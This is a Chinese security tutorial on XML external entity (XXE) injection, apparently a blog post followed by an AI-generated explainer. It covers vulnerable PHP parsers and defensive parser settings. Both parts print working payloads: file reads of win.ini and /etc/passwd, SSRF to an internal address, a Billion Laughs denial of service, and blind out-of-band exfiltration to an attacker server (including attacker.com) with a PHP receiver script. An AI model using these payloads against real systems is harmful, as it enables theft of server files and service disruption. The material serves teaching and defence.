xxe

本文详细介绍了XML外部实体(XXE)注入的概念、利用方式及防御措施。包括有回显和无回显两种利用场景,并提供了具体的Payload实例。此外,还介绍了如何通过编程语言内置功能或过滤用户输入来防范XXE攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

参考文献:https://www.cnblogs.com/r00tuser/p/7255939.html
http://www.freebuf.com/column/156863.html

libxml2.9.1及以后,默认不解析外部实体。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可以使用phpinfo()查看libxml的版本信息。

xxe是xml外部实体注入。
实体又分为一般实体和参数实体
① 一般实体的声明语法:

<!ENTITY 实体名 "实体内容">

引用实体的方式:&实体名;
②参数实体只能在DTD中使用,参数实体的声明格式: <!ENTITY % 实体名 "实体内容">
引用实体的方式:%实体名;
有回显:

<?php
$data = simplexml_load_string($_GET['xml']);
print_r($data);
?>

无回显

<?php
$data = simplexml_load_string($_GET['xml']);
?>

利用xxe漏洞可以进行拒绝服务攻击,一般xxe利用分为两种:有回显和无回显。有回显的情况可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据

(1)有回显,可利用的方式:(&需要转化为url编码%26)

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

<!DOCTYPE xxe [<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini">]>
<foo>&xxe;</foo> 

(2)无回显,可利用的方式
可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(自己服务器)
%号要进行实体编码成&#x25(16进制)或&#37(10进制);
①.偷用下师父的payload。
自己服务器下的xxe.xml内容

<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/1.txt">  
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://xxx.xxx.xxx.xxx/xxe/xxe.php?yy=%payload;'>">  
%int;  
%trick;  

在xxe.xml同级还有个xxe.php文件

<?php
file_put_contents('1.txt',$_GET['yy']);
?>

在外部攻击的内容:

<!DOCTYPE root[  
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/xxe/xxe.xml">  
%remote;]>  
<root/>

②.

<!DOCTYPE file1 [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/1.txt">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx.xxx/xxe.dtd">
%dtd;
%send;
]>

在xxe.dtd同级还有个xxe1.php文件:

<?php
file_put_contents('1.txt',$_GET['yy']);
?>

xxe.dtd里面的内容:

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx.xxx/xxe1.php?yy=%payload;'>">
%all;

这个payload的原理和师父的一样。可以在1.txt里面或者是日志里面查看base64加密过的想要查看的文件,(查看日志的命令:tail -f /var/log/apache2/access.log

如何防御xxe攻击
①使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
②过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

03-30
<think>嗯,用户之前问过XSS,现在又问了XXE。这说明他们对网络安全相关的漏洞比较感兴趣,可能是在学习这方面的知识,或者工作中遇到了相关的问题。我需要先确认XXE的定义,然后回想常见的攻击类型、危害以及防御措施。 首先,XXE的全称是XML External Entity,也就是XML外部实体攻击。它和XSS不同,XSS主要针对的是跨站脚本,而XXE则是利用了XML解析器的特性来实施攻击。用户可能想知道XXE的基本概念,所以得先给出一个明确的定义。 接下来,攻击类型方面,XXE主要有几种形式,比如读取本地文件、发起SSRF攻击、拒绝服务攻击,还有盲注XXE。这些都需要详细解释,特别是通过示例让用户更容易理解。比如,读取/etc/passwd文件的例子,用户可能对如何构造这样的XML payload感兴趣。 然后要讲危害,比如数据泄露、服务中断、内网探测等。这部分需要和前面的攻击类型对应起来,说明每种攻击可能导致的后果。用户可能关心这些漏洞的实际影响,以便评估风险。 防御措施方面,禁用外部实体是最关键的,同时还有输入验证、使用安全配置的解析器、限制XML结构等。需要具体说明如何实施这些措施,比如在Java中如何设置DocumentBuilderFactory的属性,或者在PHP中如何使用libxml_disable_entity_loader。用户可能需要实际的代码示例来参考,这样他们可以在自己的项目中应用。 另外,用户之前询问的是XSS,现在转向XXE,可能是在构建一个安全的Web应用,需要全面了解各种漏洞。因此,回答中要强调两者的不同,以及防御策略的差异。比如,XSS主要涉及输入输出过滤和CSP,而XXE则更多涉及XML解析的配置。 可能用户还不太清楚XML解析的具体过程,所以需要简单说明XML外部实体的概念,以及为什么解析器默认处理这些实体会有安全隐患。这样可以帮助他们理解漏洞的根源。 需要确保回答结构清晰,分点列出,每个部分有足够的细节但不过于冗长。用户可能需要快速找到关键信息,比如如何防御,因此防御措施部分要重点突出,并且给出具体的方法和代码示例,这样更实用。 还要注意检查技术细节的准确性,比如PHP的函数是否正确,Java的配置是否最新。避免过时的方法,比如旧的PHP版本处理XXE的方式可能和新版不同,需要指出版本差异或者建议使用最新安全实践。 最后,总结部分要强调XXE的严重性和防御的必要性,提醒用户在实际开发中注意XML处理的安全配置,结合其他安全措施。这样用户能有一个全面的认识,并知道如何采取行动来保护他们的应用。</think>### XXE(XML 外部实体攻击)介绍 #### 1. **定义** XXE(XML External Entity,XML 外部实体攻击)是一种利用 XML 解析器漏洞的安全攻击。攻击者通过注入恶意 XML 外部实体,读取服务器本地文件、发起网络请求或执行拒绝服务攻击(DoS)。其核心是滥用 XML 规范中定义的“外部实体”功能。 --- #### 2. **攻击原理** XML 允许通过 `<!ENTITY>` 定义实体(如变量),而外部实体可以通过 URL 或文件路径引用外部资源。若 XML 解析器未禁用外部实体解析,攻击者可构造恶意 XML 内容,例如: ```xml <!DOCTYPE payload [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <data>&xxe;</data> ``` 当解析此 XML 时,服务器会读取 `/etc/passwd` 文件内容并返回给攻击者。 --- #### 3. **常见攻击类型** - **读取本地文件** - **示例**:通过 `file://` 协议读取敏感文件(如 `/etc/passwd`、`C:\Windows\system.ini`)。 - **Payload**: ```xml <!ENTITY xxe SYSTEM "file:///etc/passwd"> ``` - **服务端请求伪造(SSRF)** - **示例**:利用外部实体访问内网服务(如 `http://internal-api:8080`)。 - **Payload**: ```xml <!ENTITY xxe SYSTEM "http://192.168.1.1/admin"> ``` - **拒绝服务攻击(DoS)** - **示例**:通过“实体膨胀”耗尽服务器资源(如 Billion Laughs 攻击): ```xml <!DOCTYPE payload [ <!ENTITY a "lol"> <!ENTITY b "&a;&a;&a;&a;&a;"> <!ENTITY c "&b;&b;&b;&b;&b;"> <!-- 重复定义直至内存耗尽 --> ]> <data>&c;</data> ``` - **盲注 XXE** - **原理**:通过外带数据(Out-of-Band)将文件内容发送到攻击者服务器。 - **Payload**: ```xml <!ENTITY % xxe SYSTEM "file:///etc/passwd"> <!ENTITY % exfil "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%xxe;'>"> %exfil; ``` --- #### 4. **危害** - **敏感数据泄露**:读取服务器配置文件、数据库凭证等。 - **内网探测**:扫描内网服务或 API。 - **服务瘫痪**:通过 DoS 攻击导致系统崩溃。 - **远程代码执行(RCE)**:结合其他漏洞(如 PHP Expect 模块)执行命令。 --- #### 5. **防御措施** - **禁用外部实体解析** - **Java**:设置 `DocumentBuilderFactory` 禁用外部实体: ```java DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); ``` - **PHP**:使用 `libxml_disable_entity_loader(true);`。 - **输入验证与过滤** - 检查 XML 内容是否包含 `<!DOCTYPE>` 或 `<!ENTITY>` 声明。 - 使用白名单限制 XML 中允许的标签和属性。 - **使用安全配置的 XML 解析器** - 优先选择默认禁用外部实体的解析库(如 Python 的 `defusedxml`)。 - 避免直接使用 `XMLReader` 或 `SAXParser` 的默认配置。 - **限制 XML 结构复杂度** - 禁止 DTD(文档类型定义)或限制实体层级深度。 - **监控与日志审计** - 记录异常的 XML 解析请求,分析潜在攻击行为。 --- #### 6. **总结** XXE 是 XML 解析场景中的高危漏洞,防御需从禁用外部实体、严格过滤输入、选择安全解析器三方面入手。开发中应避免信任用户提交的 XML 数据,并定期更新依赖库以修复已知漏洞。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值